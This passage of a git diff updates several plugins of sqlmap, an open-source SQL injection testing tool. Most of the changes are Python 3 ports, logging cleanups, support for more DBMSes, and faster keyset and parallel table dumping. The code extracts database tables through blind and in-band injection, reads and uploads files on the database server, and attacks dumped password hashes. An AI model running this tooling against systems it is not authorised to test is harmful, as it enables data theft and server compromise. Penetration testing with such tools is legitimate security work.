rootQuery.blind.query3 % (column, column, prioritySortColumns(colList)[0], table, index) + query = agent.whereQuery(query) + value = inject.getValue(query, blind=False, time=False, dump=True) or "" + row.append(value) + + if not entries and isNoneValue(row): + break + + entries.append(row) + + except KeyboardInterrupt: + kb.dumpKeyboardInterrupt = True + clearConsoleLine() + warnMsg = "Ctrl+C detected in dumping phase" + logger.warning(warnMsg) + + if isNoneValue(entries) and not kb.dumpKeyboardInterrupt: + try: + retVal = pivotDumpTable(table, colList, blind=False) + except KeyboardInterrupt: + retVal = None + kb.dumpKeyboardInterrupt = True + clearConsoleLine() + warnMsg = "Ctrl+C detected in dumping phase" + logger.warning(warnMsg) + + if retVal: + entries, _ = retVal + entries = BigArray(_zip(*[entries[colName] for colName in colList])) else: query = rootQuery.inband.query % (colString, conf.db, tbl) - elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB): + elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE, DBMS.SPANNER): query = rootQuery.inband.query % (colString, conf.db, tbl, prioritySortColumns(colList)[0]) else: query = rootQuery.inband.query % (colString, conf.db, tbl) - query = whereQuery(query) + query = agent.whereQuery(query) - if not entries and query: - entries = inject.getValue(query, blind=False, time=False, dump=True) + if not entries and query and not kb.dumpKeyboardInterrupt: + try: + entries = inject.getValue(query, blind=False, time=False, dump=True) + except KeyboardInterrupt: + entries = None + kb.dumpKeyboardInterrupt = True + clearConsoleLine() + warnMsg = "Ctrl+C detected in dumping phase" + logger.warning(warnMsg) if not isNoneValue(entries): - if isinstance(entries, basestring): + if isinstance(entries, six.string_types): entries = [entries] elif not isListLike(entries): entries = [] @@ -200,13 +334,12 @@ def dumpTable(self, foundData=None): if entry is None or len(entry) == 0: continue - if isinstance(entry, basestring): + if isinstance(entry, six.string_types): colEntry = entry else: colEntry = unArrayizeValue(entry[index]) if index < len(entry) else u'' - _ = len(DUMP_REPLACEMENTS.get(getUnicode(colEntry), getUnicode(colEntry))) - maxLen = max(len(column), _) + maxLen = max(getConsoleLength(column), getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(colEntry), getUnicode(colEntry)))) if maxLen > kb.data.dumpedTable[column]["length"]: kb.data.dumpedTable[column]["length"] = maxLen @@ -221,21 +354,24 @@ def dumpTable(self, foundData=None): infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.SNOWFLAKE): query = rootQuery.blind.count % (tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) - elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): + elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.MAXDB, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.RAIMA): query = rootQuery.blind.count % tbl elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): - query = rootQuery.blind.count % ("%s.%s" % (conf.db, tbl)) - elif Backend.isDbms(DBMS.MAXDB): - query = rootQuery.blind.count % tbl + query = rootQuery.blind.count % ("%s.%s" % (conf.db, tbl)) if conf.db else tbl + elif Backend.isDbms(DBMS.INFORMIX): + query = rootQuery.blind.count % (conf.db, tbl) else: query = rootQuery.blind.count % (conf.db, tbl) - query = whereQuery(query) + query = agent.whereQuery(query) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + # keyset (seek) pagination: forced with --keyset, automatic for large tables, off with --no-keyset + keysetCursor = resolveKeysetCursor(tbl, colList) if (not conf.noKeyset and isNumPosStrValue(count) and (conf.keyset or int(count) >= KEYSET_MIN_ROWS)) else None + lengths = {} entries = {} @@ -243,10 +379,10 @@ def dumpTable(self, foundData=None): warnMsg = "table '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg += "in database '%s' " % unsafeSQLIdentificatorNaming(conf.db) warnMsg += "appears to be empty" - logger.warn(warnMsg) + logger.warning(warnMsg) for column in colList: - lengths[column] = len(column) + lengths[column] = getConsoleLength(column) entries[column] = [] elif not isNumPosStrValue(count): @@ -255,75 +391,173 @@ def dumpTable(self, foundData=None): warnMsg += "column(s) '%s' " % colNames warnMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) - logger.warn(warnMsg) + logger.warning(warnMsg) continue - elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL): - if Backend.isDbms(DBMS.ACCESS): - table = tbl - elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): - table = "%s.%s" % (conf.db, tbl) - elif Backend.isDbms(DBMS.MAXDB): - table = "%s.%s" % (conf.db, tbl) + elif keysetCursor: + infoMsg = "using keyset (seek) pagination on column(s) '%s' " % ', '.join(keysetCursor) + infoMsg += "for table '%s'" % unsafeSQLIdentificatorNaming(tbl) + logger.info(infoMsg) - retVal = pivotDumpTable(table, colList, count, blind=True) + try: + entries, lengths = keysetDumpTable(tbl, colList, count, keysetCursor) + except KeyboardInterrupt: + kb.dumpKeyboardInterrupt = True + clearConsoleLine() + warnMsg = "Ctrl+C detected in dumping phase" + logger.warning(warnMsg) - if retVal: - entries, lengths = retVal + elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL, DBMS.INFORMIX, DBMS.MCKOI, DBMS.RAIMA): + if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.RAIMA): + table = tbl + elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL, DBMS.MAXDB): + table = "%s.%s" % (conf.db, tbl) if conf.db else tbl + elif Backend.isDbms(DBMS.INFORMIX): + table = "%s:%s" % (conf.db, tbl) if conf.db else tbl + + if Backend.isDbms(DBMS.MSSQL) and not conf.forcePivoting: + warnMsg = "in case of table dumping problems (e.g. column entry order) " + warnMsg += "you are advised to rerun with '--force-pivoting'" + singleTimeWarnMessage(warnMsg) + + try: + indexRange = getLimitRange(count, plusOne=True) + + for index in indexRange: + for column in colList: + query = rootQuery.blind.query3 % (column, column, prioritySortColumns(colList)[0], table, index) + query = agent.whereQuery(query) + + value = inject.getValue(query, union=False, error=False, dump=True) or "" + + if column not in lengths: + lengths[column] = 0 + + if column not in entries: + entries[column] = BigArray() + + lengths[column] = max(lengths[column], getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value)))) + entries[column].append(value) + + except KeyboardInterrupt: + kb.dumpKeyboardInterrupt = True + clearConsoleLine() + warnMsg = "Ctrl+C detected in dumping phase" + logger.warning(warnMsg) + + if not entries and not kb.dumpKeyboardInterrupt: + try: + retVal = pivotDumpTable(table, colList, count, blind=True) + except KeyboardInterrupt: + retVal = None + kb.dumpKeyboardInterrupt = True + clearConsoleLine() + warnMsg = "Ctrl+C detected in dumping phase" + logger.warning(warnMsg) + + if retVal: + entries, lengths = retVal else: emptyColumns = [] - plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) + plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES indexRange = getLimitRange(count, plusOne=plusOne) if len(colList) < len(indexRange) > CHECK_ZERO_COLUMNS_THRESHOLD: + debugMsg = "checking for empty columns" + logger.debug(infoMsg) + for column in colList: - if inject.getValue("SELECT COUNT(%s) FROM %s" % (column, kb.dumpTable), union=False, error=False) == '0': + if not inject.checkBooleanExpression("(SELECT COUNT(%s) FROM %s)>0" % (column, kb.dumpTable)): emptyColumns.append(column) debugMsg = "column '%s' of table '%s' will not be " % (column, kb.dumpTable) debugMsg += "dumped as it appears to be empty" logger.debug(debugMsg) + def cellQuery(column, index): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE, DBMS.SPANNER): + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, prioritySortColumns(colList)[0], index) + elif Backend.getIdentifiedDbms() in (DBMS.HANA, DBMS.CUBRID): + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, tbl, prioritySortColumns(colList)[0], index) + elif Backend.isDbms(DBMS.MONETDB): + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), prioritySortColumns(colList)[0], conf.db, tbl, index) + elif Backend.isDbms(DBMS.DB2): + query = rootQuery.blind.query % (prioritySortColumns(colList)[0], agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index) + elif Backend.isDbms(DBMS.ORACLE): + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index) + elif Backend.getIdentifiedDbms() in (DBMS.MIMERSQL, DBMS.DERBY, DBMS.ALTIBASE): + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), prioritySortColumns(colList)[0], index) + elif Backend.isDbms(DBMS.SQLITE): + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, index) + elif Backend.isDbms(DBMS.EXTREMEDB): + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, prioritySortColumns(colList)[0], index) + elif Backend.isDbms(DBMS.FIREBIRD): + query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl, prioritySortColumns(colList)[0]) + elif Backend.getIdentifiedDbms() in (DBMS.INFORMIX, DBMS.VIRTUOSO, DBMS.FRONTBASE): + query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl, prioritySortColumns(colList)[0]) + else: + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, tbl, index) + + return agent.whereQuery(query) + try: - for index in indexRange: + # Value-parallel dumping: one whole cell per worker, decoded sequentially, so there + # is NO per-cell LENGTH() probe (the position-parallel path needs one to split a + # value's characters across threads) and the per-column Huffman model + low-cardinality + # guessing engage under concurrency. Used for the boolean channel with '--threads', and + # for the HTTP/2 timeless oracle (its per-thread connections make concurrency safe and + # deterministic). Also used under '--eta' - including single-threaded time-based, the + # slowest channel - to drive one whole-job progress bar/ETA (how long the dump takes) + # instead of a per-cell counter. Eligibility (channel x threads/eta) is valueParallelEligible(); + # '--dns-domain' keeps the classic loop (its OOB fast path bypasses bisection). + if not conf.dnsDomain and inject.valueParallelEligible(): + # One value-parallel pass over every (non-empty) cell, so there is a single + # thread pool and values stream live as they complete - out of order, exactly + # like the error/union dumps - instead of a silent progress counter. + nonEmpty = [_ for _ in colList if _ not in emptyColumns] + tasks = [(column, index) for column in nonEmpty for index in indexRange] + retrieved = inject._threadedInferenceValues(lambda pair: cellQuery(pair[0], pair[1]), tasks, charsetType=None, dump=True) if tasks else [] + retrieved = retrieved if retrieved is not None else [None] * len(tasks) + + offset = 0 for column in colList: - value = "" - - if column not in lengths: - lengths[column] = 0 - - if column not in entries: - entries[column] = BigArray() - - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB): - query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index) - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): - query = rootQuery.blind.query % (agent.preprocessField(tbl, column), - tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), - index) - elif Backend.isDbms(DBMS.SQLITE): - query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, index) - - elif Backend.isDbms(DBMS.FIREBIRD): - query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl) - - query = whereQuery(query) - - value = NULL if column in emptyColumns else inject.getValue(query, union=False, error=False, dump=True) - value = '' if value is None else value - - _ = DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value)) - lengths[column] = max(lengths[column], len(_)) - entries[column].append(value) + entries[column] = BigArray() + lengths.setdefault(column, 0) + + if column in emptyColumns: + values = [NULL] * len(indexRange) + else: + values = retrieved[offset:offset + len(indexRange)] + offset += len(indexRange) + + for value in values: + value = '' if value is None else value + lengths[column] = max(lengths[column], getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value)))) + entries[column].append(value) + else: + for index in indexRange: + for column in colList: + if column not in lengths: + lengths[column] = 0 + + if column not in entries: + entries[column] = BigArray() + + value = NULL if column in emptyColumns else inject.getValue(cellQuery(column, index), union=False, error=False, dump=True) + value = '' if value is None else value + + lengths[column] = max(lengths[column], getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value)))) + entries[column].append(value) except KeyboardInterrupt: + kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" - logger.warn(warnMsg) + logger.warning(warnMsg) for column, columnEntries in entries.items(): - length = max(lengths[column], len(column)) + length = max(lengths[column], getConsoleLength(column)) kb.data.dumpedTable[column] = {"length": length, "values": columnEntries} @@ -335,26 +569,31 @@ def dumpTable(self, foundData=None): warnMsg += "of columns '%s' " % colNames warnMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg += "in database '%s'%s" % (unsafeSQLIdentificatorNaming(conf.db), " (permission denied)" if kb.permissionFlag else "") - logger.warn(warnMsg) + logger.warning(warnMsg) else: kb.data.dumpedTable["__infos__"] = {"count": entriesCount, "table": safeSQLIdentificatorNaming(tbl, True), "db": safeSQLIdentificatorNaming(conf.db)} - try: - attackDumpedTable() - except (IOError, OSError), ex: - errMsg = "an error occurred while attacking " - errMsg += "table dump ('%s')" % getSafeExString(ex) - logger.critical(errMsg) + + if not conf.disableHashing: + try: + attackDumpedTable() + except (IOError, OSError) as ex: + errMsg = "an error occurred while attacking " + errMsg += "table dump ('%s')" % getSafeExString(ex) + logger.critical(errMsg) + conf.dumper.dbTableValues(kb.data.dumpedTable) - except SqlmapConnectionException, ex: + except SqlmapConnectionException as ex: errMsg = "connection exception detected in dumping phase " errMsg += "('%s')" % getSafeExString(ex) logger.critical(errMsg) finally: + kb.dumpColumns = None kb.dumpTable = None + conf.binaryFields = binaryFields # restore user-provided value (drop this table's auto-detected ones) def dumpAll(self): if conf.db is not None and conf.tbl is None: @@ -376,12 +615,17 @@ def dumpAll(self): if kb.data.cachedTables: if isinstance(kb.data.cachedTables, list): - kb.data.cachedTables = { None: kb.data.cachedTables } + kb.data.cachedTables = {None: kb.data.cachedTables} for db, tables in kb.data.cachedTables.items(): conf.db = db for table in tables: + if conf.exclude and re.search(conf.exclude, table, re.I) is not None: + infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(table) + logger.info(infoMsg) + continue + try: conf.tbl = table kb.data.cachedColumns = {} @@ -393,10 +637,9 @@ def dumpAll(self): logger.info(infoMsg) def dumpFoundColumn(self, dbs, foundCols, colConsider): - message = "do you want to dump entries? [Y/n] " - output = readInput(message, default="Y") + message = "do you want to dump found column(s) entries? [Y/n] " - if output and output[0] not in ("y", "Y"): + if not readInput(message, default='Y', boolean=True): return dumpFromDbs = [] @@ -407,14 +650,14 @@ def dumpFoundColumn(self, dbs, foundCols, colConsider): message += "[%s]\n" % unsafeSQLIdentificatorNaming(db) message += "[q]uit" - test = readInput(message, default="a") + choice = readInput(message, default='a') - if not test or test in ("a", "A"): - dumpFromDbs = dbs.keys() - elif test in ("q", "Q"): + if not choice or choice in ('a', 'A'): + dumpFromDbs = list(dbs.keys()) + elif choice in ('q', 'Q'): return else: - dumpFromDbs = test.replace(" ", "").split(",") + dumpFromDbs = choice.replace(" ", "").split(',') for db, tblData in dbs.items(): if db not in dumpFromDbs or not tblData: @@ -430,28 +673,28 @@ def dumpFoundColumn(self, dbs, foundCols, colConsider): message += "[s]kip\n" message += "[q]uit" - test = readInput(message, default="a") + choice = readInput(message, default='a') - if not test or test in ("a", "A"): + if not choice or choice in ('a', 'A'): dumpFromTbls = tblData - elif test in ("s", "S"): + elif choice in ('s', 'S'): continue - elif test in ("q", "Q"): + elif choice in ('q', 'Q'): return else: - dumpFromTbls = test.replace(" ", "").split(",") + dumpFromTbls = choice.replace(" ", "").split(',') for table, columns in tblData.items(): if table not in dumpFromTbls: continue conf.tbl = table - colList = filter(None, sorted(columns)) + colList = [_ for _ in columns if _] - if conf.excludeCol: - colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')] + if conf.exclude: + colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None] - conf.col = ",".join(colList) + conf.col = ','.join(colList) kb.data.cachedColumns = {} kb.data.dumpedTable = {} @@ -461,10 +704,9 @@ def dumpFoundColumn(self, dbs, foundCols, colConsider): conf.dumper.dbTableValues(data) def dumpFoundTables(self, tables): - message = "do you want to dump tables' entries? [Y/n] " - output = readInput(message, default="Y") + message = "do you want to dump found table(s) entries? [Y/n] " - if output and output[0].lower() != "y": + if not readInput(message, default='Y', boolean=True): return dumpFromDbs = [] @@ -475,14 +717,14 @@ def dumpFoundTables(self, tables): message += "[%s]\n" % unsafeSQLIdentificatorNaming(db) message += "[q]uit" - test = readInput(message, default="a") + choice = readInput(message, default='a') - if not test or test.lower() == "a": - dumpFromDbs = tables.keys() - elif test.lower() == "q": + if not choice or choice.lower() == 'a': + dumpFromDbs = list(tables.keys()) + elif choice.lower() == 'q': return else: - dumpFromDbs = test.replace(" ", "").split(",") + dumpFromDbs = choice.replace(" ", "").split(',') for db, tablesList in tables.items(): if db not in dumpFromDbs or not tablesList: @@ -498,16 +740,16 @@ def dumpFoundTables(self, tables): message += "[s]kip\n" message += "[q]uit" - test = readInput(message, default="a") + choice = readInput(message, default='a') - if not test or test.lower() == "a": + if not choice or choice.lower() == 'a': dumpFromTbls = tablesList - elif test.lower() == "s": + elif choice.lower() == 's': continue - elif test.lower() == "q": + elif choice.lower() == 'q': return else: - dumpFromTbls = test.replace(" ", "").split(",") + dumpFromTbls = choice.replace(" ", "").split(',') for table in dumpFromTbls: conf.tbl = table diff --git a/plugins/generic/enumeration.py b/plugins/generic/enumeration.py index 23826f7e7e8..a410816f6e2 100644 --- a/plugins/generic/enumeration.py +++ b/plugins/generic/enumeration.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.common import Backend diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py index 30daccdc1ab..69ceebb9f55 100644 --- a/plugins/generic/filesystem.py +++ b/plugins/generic/filesystem.py @@ -1,42 +1,50 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +import codecs import os import sys from lib.core.agent import agent -from lib.core.common import dataToOutFile from lib.core.common import Backend from lib.core.common import checkFile +from lib.core.common import dataToOutFile from lib.core.common import decloakToTemp -from lib.core.common import decodeHexValue -from lib.core.common import getUnicode -from lib.core.common import isNumPosStrValue +from lib.core.common import decodeDbmsHexValue from lib.core.common import isListLike +from lib.core.common import isNoneValue +from lib.core.common import isNullValue +from lib.core.common import isNumPosStrValue from lib.core.common import isStackingAvailable from lib.core.common import isTechniqueAvailable from lib.core.common import readInput +from lib.core.compat import xrange +from lib.core.convert import encodeBase64 +from lib.core.convert import encodeHex +from lib.core.convert import getText +from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger -from lib.core.enums import DBMS from lib.core.enums import CHARSET_TYPE +from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapUndefinedMethod +from lib.core.settings import UNICODE_ENCODING from lib.request import inject -class Filesystem: +class Filesystem(object): """ This class defines generic OS file system functionalities for plugins. """ def __init__(self): - self.fileTblName = "sqlmapfile" + self.fileTblName = "%sfile" % conf.tablePrefix self.tblField = "data" def _checkFileLength(self, localFile, remoteFile, fileRead=False): @@ -48,11 +56,16 @@ def _checkFileLength(self, localFile, remoteFile, fileRead=False): elif Backend.isDbms(DBMS.MSSQL): self.createSupportTbl(self.fileTblName, self.tblField, "VARBINARY(MAX)") - inject.goStacked("INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK '%s', SINGLE_BLOB) AS %s(%s)" % (self.fileTblName, self.tblField, self.tblField, remoteFile, self.fileTblName, self.tblField)); + inject.goStacked("INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK '%s', SINGLE_BLOB) AS %s(%s)" % (self.fileTblName, self.tblField, self.tblField, remoteFile, self.fileTblName, self.tblField)) lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField, self.fileTblName) - localFileSize = os.path.getsize(localFile) + try: + localFileSize = os.path.getsize(localFile) + except OSError: + warnMsg = "file '%s' is missing" % localFile + logger.warning(warnMsg) + localFileSize = 0 if fileRead and Backend.isDbms(DBMS.PGSQL): logger.info("length of read file '%s' cannot be checked on PostgreSQL" % remoteFile) @@ -63,8 +76,8 @@ def _checkFileLength(self, localFile, remoteFile, fileRead=False): sameFile = None if isNumPosStrValue(remoteFileSize): - remoteFileSize = long(remoteFileSize) - localFile = getUnicode(localFile, encoding=sys.getfilesystemencoding()) + remoteFileSize = int(remoteFileSize) + localFile = getUnicode(localFile, encoding=sys.getfilesystemencoding() or UNICODE_ENCODING) sameFile = False if localFileSize == remoteFileSize: @@ -82,9 +95,9 @@ def _checkFileLength(self, localFile, remoteFile, fileRead=False): else: sameFile = False warnMsg = "it looks like the file has not been written (usually " - warnMsg += "occurs if the DBMS process' user has no write " + warnMsg += "occurs if the DBMS process user has no write " warnMsg += "privileges in the destination path)" - logger.warn(warnMsg) + logger.warning(warnMsg) return sameFile @@ -114,6 +127,8 @@ def fileEncode(self, fileName, encoding, single, chunkSize=256): back-end DBMS underlying file system """ + checkFile(fileName) + with open(fileName, "rb") as f: content = f.read() @@ -122,8 +137,14 @@ def fileEncode(self, fileName, encoding, single, chunkSize=256): def fileContentEncode(self, content, encoding, single, chunkSize=256): retVal = [] - if encoding: - content = content.encode(encoding).replace("\n", "") + if encoding == "hex": + content = encodeHex(content) + elif encoding == "base64": + content = encodeBase64(content) + else: + content = codecs.encode(content, encoding) + + content = getText(content).replace("\n", "") if not single: if len(content) > chunkSize: @@ -148,27 +169,27 @@ def fileContentEncode(self, content, encoding, single, chunkSize=256): return retVal def askCheckWrittenFile(self, localFile, remoteFile, forceCheck=False): - output = None + choice = None if forceCheck is not True: message = "do you want confirmation that the local file '%s' " % localFile message += "has been successfully written on the back-end DBMS " message += "file system ('%s')? [Y/n] " % remoteFile - output = readInput(message, default="Y") + choice = readInput(message, default='Y', boolean=True) - if forceCheck or (output and output.lower() == "y"): + if forceCheck or choice: return self._checkFileLength(localFile, remoteFile) return True def askCheckReadFile(self, localFile, remoteFile): - message = "do you want confirmation that the remote file '%s' " % remoteFile - message += "has been successfully downloaded from the back-end " - message += "DBMS file system? [Y/n] " - output = readInput(message, default="Y") + if not kb.bruteMode: + message = "do you want confirmation that the remote file '%s' " % remoteFile + message += "has been successfully downloaded from the back-end " + message += "DBMS file system? [Y/n] " - if not output or output in ("y", "Y"): - return self._checkFileLength(localFile, remoteFile, True) + if readInput(message, default='Y', boolean=True): + return self._checkFileLength(localFile, remoteFile, True) return None @@ -192,24 +213,24 @@ def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): errMsg += "into the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) - def readFile(self, remoteFiles): + def readFile(self, remoteFile): localFilePaths = [] self.checkDbmsOs() - for remoteFile in remoteFiles.split(","): + for remoteFile in remoteFile.split(','): fileContent = None kb.fileReadMode = True if conf.direct or isStackingAvailable(): if isStackingAvailable(): - debugMsg = "going to read the file with stacked query SQL " + debugMsg = "going to try to read the file with stacked query SQL " debugMsg += "injection technique" logger.debug(debugMsg) fileContent = self.stackedReadFile(remoteFile) - elif Backend.isDbms(DBMS.MYSQL): - debugMsg = "going to read the file with a non-stacked query " + elif Backend.isDbms(DBMS.MYSQL) or Backend.isDbms(DBMS.PGSQL) or Backend.isDbms(DBMS.H2): + debugMsg = "going to try to read the file with non-stacked query " debugMsg += "SQL injection technique" logger.debug(debugMsg) @@ -224,8 +245,9 @@ def readFile(self, remoteFiles): kb.fileReadMode = False - if fileContent in (None, "") and not Backend.isDbms(DBMS.PGSQL): + if (isNoneValue(fileContent) or isNullValue(fileContent)) and not Backend.isDbms(DBMS.PGSQL): self.cleanup(onlyFileTbl=True) + fileContent = None elif isListLike(fileContent): newFileContent = "" @@ -242,9 +264,9 @@ def readFile(self, remoteFiles): fileContent = newFileContent if fileContent is not None: - fileContent = decodeHexValue(fileContent, True) + fileContent = decodeDbmsHexValue(fileContent, True) - if fileContent: + if fileContent.strip(): localFilePath = dataToOutFile(remoteFile, fileContent) if not Backend.isDbms(DBMS.PGSQL): @@ -258,7 +280,7 @@ def readFile(self, remoteFiles): localFilePath += " (size differs from remote file)" localFilePaths.append(localFilePath) - else: + elif not kb.bruteMode: errMsg = "no data retrieved" logger.error(errMsg) @@ -272,22 +294,28 @@ def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): self.checkDbmsOs() if localFile.endswith('_'): - localFile = decloakToTemp(localFile) + localFile = getUnicode(decloakToTemp(localFile)) if conf.direct or isStackingAvailable(): if isStackingAvailable(): debugMsg = "going to upload the file '%s' with " % fileType - debugMsg += "stacked query SQL injection technique" + debugMsg += "stacked query technique" logger.debug(debugMsg) written = self.stackedWriteFile(localFile, remoteFile, fileType, forceCheck) self.cleanup(onlyFileTbl=True) elif isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and Backend.isDbms(DBMS.MYSQL): debugMsg = "going to upload the file '%s' with " % fileType - debugMsg += "UNION query SQL injection technique" + debugMsg += "UNION query technique" logger.debug(debugMsg) written = self.unionWriteFile(localFile, remoteFile, fileType, forceCheck) + elif Backend.isDbms(DBMS.MYSQL): + debugMsg = "going to upload the file '%s' with " % fileType + debugMsg += "LINES TERMINATED BY technique" + logger.debug(debugMsg) + + written = self.linesTerminatedWriteFile(localFile, remoteFile, fileType, forceCheck) else: errMsg = "none of the SQL injection techniques detected can " errMsg += "be used to write files to the underlying file " diff --git a/plugins/generic/fingerprint.py b/plugins/generic/fingerprint.py index 87bfc655c15..38f4775a1b9 100644 --- a/plugins/generic/fingerprint.py +++ b/plugins/generic/fingerprint.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.common import Backend @@ -11,7 +11,7 @@ from lib.core.enums import OS from lib.core.exception import SqlmapUndefinedMethod -class Fingerprint: +class Fingerprint(object): """ This class defines generic fingerprint functionalities for plugins. """ @@ -40,19 +40,19 @@ def forceDbmsEnum(self): def userChooseDbmsOs(self): warnMsg = "for some reason sqlmap was unable to fingerprint " warnMsg += "the back-end DBMS operating system" - logger.warn(warnMsg) + logger.warning(warnMsg) msg = "do you want to provide the OS? [(W)indows/(l)inux]" while True: - os = readInput(msg, default="W") + os = readInput(msg, default='W').upper() - if os[0].lower() == "w": + if os == 'W': Backend.setOs(OS.WINDOWS) break - elif os[0].lower() == "l": + elif os == 'L': Backend.setOs(OS.LINUX) break else: warnMsg = "invalid value" - logger.warn(warnMsg) + logger.warning(warnMsg) diff --git a/plugins/generic/misc.py b/plugins/generic/misc.py index 108c55943ec..bbb7adc0935 100644 --- a/plugins/generic/misc.py +++ b/plugins/generic/misc.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import ntpath @@ -25,10 +25,9 @@ from lib.core.enums import HASHDB_KEYS from lib.core.enums import OS from lib.core.exception import SqlmapNoneDataException -from lib.core.exception import SqlmapUnsupportedFeatureException from lib.request import inject -class Miscellaneous: +class Miscellaneous(object): """ This class defines miscellaneous functionalities for plugins. """ @@ -70,7 +69,7 @@ def getRemoteTempPath(self): conf.tmpPath = normalizePath(conf.tmpPath) conf.tmpPath = ntToPosixSlashes(conf.tmpPath) - singleTimeDebugMessage("going to use %s as temporary files directory" % conf.tmpPath) + singleTimeDebugMessage("going to use '%s' as temporary files directory" % conf.tmpPath) hashDBWrite(HASHDB_KEYS.CONF_TMP_PATH, conf.tmpPath) @@ -83,25 +82,16 @@ def getVersionFromBanner(self): infoMsg = "detecting back-end DBMS version from its banner" logger.info(infoMsg) - if Backend.isDbms(DBMS.MYSQL): - first, last = 1, 6 - - elif 